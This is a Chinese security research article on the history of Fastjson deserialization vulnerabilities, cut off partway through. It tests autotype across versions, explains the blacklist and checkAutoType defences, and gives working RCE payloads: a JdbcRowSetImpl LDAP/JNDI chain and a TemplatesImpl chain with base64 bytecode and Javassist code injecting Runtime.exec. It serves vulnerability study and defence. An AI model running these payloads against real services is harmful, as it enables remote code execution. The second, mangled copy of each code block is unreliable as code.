Fastjson 反序列化漏洞史

2020-11-02

作者：Longofo@知道创宇404实验室
时间：2020年4月27日
英文版本：https://paper.seebug.org/1193/

Fastjson没有cve编号，不太好查找时间线，一开始也不知道咋写，不过还是慢慢写出点东西，幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线，会对一些比较经典的漏洞进行测试及修复说明，给出一些探测payload，rce payload。

Fastjson解析流程

可以参考下@Lucifaer师傅写的fastjson流程分析，这里不写了，再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码，由于实际使用中很多类都不是原生类，fastjson序列化/反序列化大多数类时都会用ASM处理，如果好奇想查看生成的字节码，可以用idea动态调试时保存字节文件：

插入的代码为：

BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
    File dir = new File(filePath);
    if (!dir.exists()) {
        dir.mkdirs();
    }
    file = new File(filePath + className + ".class");
    fos = new FileOutputStream(file);
    bos = new BufferedOutputStream(fos);
    bos.write(code);
} catch (Exception e) {
    e.printStackTrace();
} finally {
    if (bos != null) {
        try {
            bos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    if (fos != null) {
        try {
            fos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

BufferedOutputStream bos = null;

FileOutputStream fos = null;

File file = null;

String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";

try {

File dir = new File(filePath);

if (!dir.exists()) {

dir.mkdirs();

}

file = new File(filePath + className + ".class");

fos = new FileOutputStream(file);

bos = new BufferedOutputStream(fos);

bos.write(code);

} catch (Exception e) {

e.printStackTrace();

} finally {

if (bos != null) {

try {

bos.close();

} catch (IOException e) {

e.printStackTrace();

}

if (fos != null) {

try {

fos.close();

} catch (IOException e) {

e.printStackTrace();

}

生成的类：

但是这个类并不能用于调试，因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息，所以不能调试。不过通过在Expression那个窗口重写部分代码，生成可用于调式的bytecode应该也是可行的（我没有测试，如果有时间和兴趣，可以看下ASM怎么生成可用于调试的字节码）。

Fastjson 样例测试

首先用多个版本测试下面这个例子：

//User.java
package com.longofo.test;

public class User {
    private String name; //私有属性，有getter、setter方法
    private int age; //私有属性，有getter、setter方法
    private boolean flag; //私有属性，有is、setter方法
    public String sex; //公有属性，无getter、setter方法
    private String address; //私有属性，无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}

//User.java

package com.longofo.test;

public class User {

private String name; //私有属性，有getter、setter方法

private int age; //私有属性，有getter、setter方法

private boolean flag; //私有属性，有is、setter方法

public String sex; //公有属性，无getter、setter方法

private String address; //私有属性，无getter、setter方法

public User() {

System.out.println("call User default Constructor");

}

public String getName() {

System.out.println("call User getName");

return name;

}

public void setName(String name) {

System.out.println("call User setName");

this.name = name;

}

public int getAge() {

System.out.println("call User getAge");

return age;

}

public void setAge(int age) {

System.out.println("call User setAge");

this.age = age;

}

public boolean isFlag() {

System.out.println("call User isFlag");

return flag;

}

public void setFlag(boolean flag) {

System.out.println("call User setFlag");

this.flag = flag;

}

@Override

public String toString() {

return "User{" +

"name='" + name + '\'' +

", age=" + age +

", flag=" + flag +

", sex='" + sex + '\'' +

", address='" + address + '\'' +

'}';

}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args) {
        //序列化
        String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化，返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr)：");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化：" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,不指定类，返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr)：");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class)：");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class)：");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {

public static void main(String[] args) {

//序列化

String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//

System.out.println("serializedStr=" + serializedStr);

System.out.println("-----------------------------------------------\n\n");

//通过parse方法进行反序列化，返回的是一个JSONObject]

System.out.println("JSON.parse(serializedStr)：");

Object obj1 = JSON.parse(serializedStr);

System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());

System.out.println("parse反序列化：" + obj1);

System.out.println("-----------------------------------------------\n");

//通过parseObject,不指定类，返回的是一个JSONObject

System.out.println("JSON.parseObject(serializedStr)：");

Object obj2 = JSON.parseObject(serializedStr);

System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());

System.out.println("parseObject反序列化:" + obj2);

System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为object.class

System.out.println("JSON.parseObject(serializedStr, Object.class)：");

Object obj3 = JSON.parseObject(serializedStr, Object.class);

System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());

System.out.println("parseObject反序列化:" + obj3);

System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为User.class

System.out.println("JSON.parseObject(serializedStr, User.class)：");

Object obj4 = JSON.parseObject(serializedStr, User.class);

System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());

System.out.println("parseObject反序列化:" + obj4);

System.out.println("-----------------------------------------------\n");

}

说明：

这里的@type就是对应常说的autotype功能，简单理解为fastjson会自动将json的key:value值映射到@type对应的类中
样例User类的几个方法都是比较普通的方法，命名、返回值也都是常规的符合bean要求的写法，所以下面的样例测试有的特殊调用不会覆盖到，但是在漏洞分析中，可以看到一些特殊的情况
parse用了四种写法，四种写法都能造成危害（不过实际到底能不能利用，还得看版本和用户是否打开了某些配置开关，具体往后看）
样例测试都使用jdk8u102，代码都是拉的源码测，主要是用样例说明autotype的默认开启、checkautotype的出现、以及黑白名白名单从哪个版本开始出现的过程以及增强手段

1.1.157测试

这应该是最原始的版本了（tag最早是这个），结果：

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}

-----------------------------------------------

JSON.parse(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parse反序列化对象名称:com.longofo.test.User

parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}

-----------------------------------------------

JSON.parseObject(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

call User getAge

call User isFlag

call User getName

parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject

parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

-----------------------------------------------

JSON.parseObject(serializedStr, Object.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

-----------------------------------------------

JSON.parseObject(serializedStr, User.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

-----------------------------------------------

下面对每个结果做一个简单的说明

JSON.parse(serializedStr)

JSON.parse(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}

JSON.parse(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parse反序列化对象名称:com.longofo.test.User

parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）,最终结果是User类的一个实例，不过值得注意的是public sex被成功赋值了，private address没有成功赋值，不过在1.2.22, 1.1.54.android之后，增加了一个SupportNonPublicField特性，如果使用了这个特性，那么private address就算没有setter、getter也能成功赋值，这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序，默认构造器在前，此时属性值还没有被赋值，所以即使默认构造器中存在危险方法，但是危害值还没有被传入，所以默认构造器按理来说不会成为漏洞利用方法，不过对于内部类那种，外部类先初始化了自己的某些属性值，但是内部类默认构造器使用了父类的属性的某些值，依然可能造成危害。

可以看出，从最原始的版本就开始有autotype功能了，并且autotype默认开启。同时ParserConfig类中还没有黑名单。

JSON.parseObject(serializedStr)

JSON.parseObject(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

JSON.parseObject(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

call User getAge

call User isFlag

call User getName

parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject

parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）以及对应的getter方法（getAge，getName），最终结果是一个字符串。这里还多调用了getter（注意bool类型的是is开头的）方法，是因为parseObject在没有其他参数时，调用了JSON.toJSON(obj)，后续会通过gettter方法获取obj属性值：

JSON.parseObject(serializedStr, Object.class)

JSON.parseObject(serializedStr, Object.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

JSON.parseObject(serializedStr, Object.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情况下，这种写法和第一种JSON.parse(serializedStr)写法其实没有区别的，从结果也能看出。

JSON.parseObject(serializedStr, User.class)

JSON.parseObject(serializedStr, User.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

JSON.parseObject(serializedStr, User.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName），最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型，如果@type对应的类型不是User类型或其子类，将抛出不匹配异常，但是，就算指定了特定的类型，依然有方式在类型匹配之前来触发漏洞。

1.2.10测试

对于上面User这个类，测试结果和1.1.157一样，这里不写了。

到这个版本autotype依然默认开启。不过从这个版本开始，fastjson在ParserConfig中加入了denyList，一直到1.2.24版本，这个denyList都只有一个类（不过这个java.lang.Thread不是用于漏洞利用的）：

1.2.25测试

测试结果是抛出出了异常：

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------


JSON.parse(serializedStr)：
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
    at com.alibaba.fastjson.JSON.parse(JSON.java:137)
    at com.alibaba.fastjson.JSON.parse(JSON.java:128)
    at com.longofo.test.Test1.main(Test1.java:14)

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}

-----------------------------------------------

JSON.parse(serializedStr)：

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User

at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)

at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)

at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)

at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)

at com.alibaba.fastjson.JSON.parse(JSON.java:137)

at com.alibaba.fastjson.JSON.parse(JSON.java:128)

at com.longofo.test.Test1.main(Test1.java:14)

从1.2.25开始，autotype默认关闭了，对于autotype开启，后面漏洞分析会涉及到。并且从1.2.25开始，增加了checkAutoType函数，它的主要作用是检测@type指定的类是否在白名单、黑名单（使用的startswith方式）

以及目标类是否是两个危险类（Classloader、DataSource）的子类或者子接口，其中白名单优先级最高，白名单如果允许就不检测黑名单与危险类，否则继续检测黑名单与危险类：

增加了黑名单类、包数量，同时增加了白名单，用户还可以调用相关方法添加黑名单/白名单到列表中：

后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复，以及黑名单的不断增加。

1.2.42测试

与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。

从这个版本开始，将denyList、acceptList换成了十进制的hashcode，使得安全研究难度变大了（不过hashcode的计算方法依然是公开的，假如拥有大量的jar包，例如maven仓库可以爬jar包下来，可批量的跑类名、包名，不过对于黑名单是包名的情况，要找到具体可利用的类也会消耗一些时间）：

checkAutotype中检测也做了相应的修改：

1.2.61测试

与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。

从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加，不过这部分在后面的漏洞版本线在具体写，这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时，fastjson将hashcode从十进制换成了十六进制：

不过用十六进制表示与十进制表示都一样，同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写：

再之后的版本就是黑名单的增加了

Fastjson漏洞版本线

下面漏洞不会过多的分析，太多了，只会简单说明下以及给出payload进行测试与说明修复方式。

ver<=1.2.24

从上面的测试中可以看到，1.2.24及之前没有任何防御，并且autotype默认开启，下面给出那会比较经典的几个payload。

com.sun.rowset.JdbcRowSetImpl利用链

payload：

{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

{

"rand1": {

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

测试（jdk=8u102，fastjson=1.2.24）：

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test2 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
//        JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功，没有直接在外层用@type，加了一层rand:{}这样的格式，还没到类型匹配就能成功触发，这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925，所以后面的payload都使用这种模式
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test2 {

public static void main(String[] args) {

String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";

// JSON.parse(payload); 成功

//JSON.parseObject(payload); 成功

//JSON.parseObject(payload,Object.class); 成功

//JSON.parseObject(payload, User.class); 成功，没有直接在外层用@type，加了一层rand:{}这样的格式，还没到类型匹配就能成功触发，这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925，所以后面的payload都使用这种模式

}

结果：

触发原因简析：

JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链

payload：

{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

{

"rand1": {

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes": [

"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"

"_name": "aaa",

"_tfactory": {},

"_outputProperties": {}

}

测试（jdk=8u102，fastjson=1.2.24）：

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class Test3 {
    public static void main(String[] args) throws Exception {
        String evilCode_base64 = readClass();
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{'rand1':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'aaa'," +
                "'_tfactory':{}," +
                "'_outputProperties':{}" +
                "}}\n";
        System.out.println(payload);
        //JSON.parse(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
    }

    public static class AaAa {

    }

    public static String readClass() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(AaAa.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "AaAa" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        byte[] evilCode = cc.toBytecode();

        return Base64.encodeBase64String(evilCode);

    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.commons.codec.binary.Base64;

public class Test3 {

public static void main(String[] args) throws Exception {

String evilCode_base64 = readClass();

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

String payload = "{'rand1':{" +

"\"@type\":\"" + NASTY_CLASS + "\"," +

"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +

"'_name':'aaa'," +

"'_tfactory':{}," +

"'_outputProperties':{}" +

"}}\n";

System.out.println(payload);

//JSON.parse(payload, Feature.SupportNonPublicField); 成功

//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功

//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功

//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功

}

public static class AaAa {

}

public static String readClass() throws Exception {

ClassPool pool = ClassPool.getDefault();

CtClass cc = pool.get(AaAa.class.getName());

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

cc.makeClassInitializer().insertBefore(cmd);

String randomClassName = "AaAa" + System.nanoTime();

cc.setName(randomClassName);

cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

byte[] evilCode = cc.toBytecode();

return Base64.encodeBase64String(evilCode);

}

结果：

触发原因简析：

TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses，newInstance触发我们自己构造的class的静态代码块

简单说明：

这个漏洞需要开启SupportNonPublicField特性，这在样例测试中也说到了。因为TemplatesImpl类中_bytecodes、_tfactory、_name、_outputProperties、_class并没有对应的setter，所以要为这些private属性赋值，就需要开启SupportNonPublicField特性。具体这个poc构造过程，这里不分析了，可以看下廖大师傅的这篇，涉及到了一些细节问题。

ver>=1.2.25&ver<=1.2.41

1.2.24之前没有autotype的限制，从1.2.25开始默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单+白名单来防御autotype开启的情况。在1.2.25到1.2.41之间，发生了一次checkAutotype的绕过。

下面是checkAutoType代码：

public Class&lt;?&gt; checkAutoType(String typeName, Class&lt;?&gt; expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        // 位置1，开启了autoTypeSupport，先白名单，再黑名单
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i &lt; acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i &lt; denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        // 位置2，从已存在的map中获取clazz
        Class&lt;?&gt; clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null &amp;&amp; !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
            }

            return clazz;
        }

        // 位置3，没开启autoTypeSupport，依然会进行黑白名单检测，先黑名单，再白名单
        if (!autoTypeSupport) {
            for (int i = 0; i &lt; denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i &lt; acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null &amp;&amp; expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        // 位置4，过了黑白名单，autoTypeSupport开启，就加载目标类
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        if (clazz != null) {
            // ClassLoader、DataSource子类/子接口检测
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
                }
            }
        }

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {

if (typeName == null) {

return null;

}

final String className = typeName.replace('$', '.');

// 位置1，开启了autoTypeSupport，先白名单，再黑名单

if (autoTypeSupport || expectClass != null) {

for (int i = 0; i < acceptList.length; ++i) {

String accept = acceptList[i];

if (className.startsWith(accept)) {

return TypeUtils.loadClass(typeName, defaultClassLoader);

}

for (int i = 0; i < denyList.length; ++i) {

String deny = denyList[i];

if (className.startsWith(deny)) {

throw new JSONException("autoType is not support. " + typeName);

}

// 位置2，从已存在的map中获取clazz

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

if (clazz == null) {

clazz = deserializers.findClass(typeName);

}

if (clazz != null) {

if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

}

return clazz;

}

// 位置3，没开启autoTypeSupport，依然会进行黑白名单检测，先黑名单，再白名单

if (!autoTypeSupport) {

for (int i = 0; i < denyList.length; ++i) {

String deny = denyList[i];

if (className.startsWith(deny)) {

throw new JSONException("autoType is not support. " + typeName);

}

for (int i = 0; i < acceptList.length; ++i) {

String accept = acceptList[i];

if (className.startsWith(accept)) {

clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

}

return clazz;

}

// 位置4，过了黑白名单，autoTypeSupport开启，就加载目标类

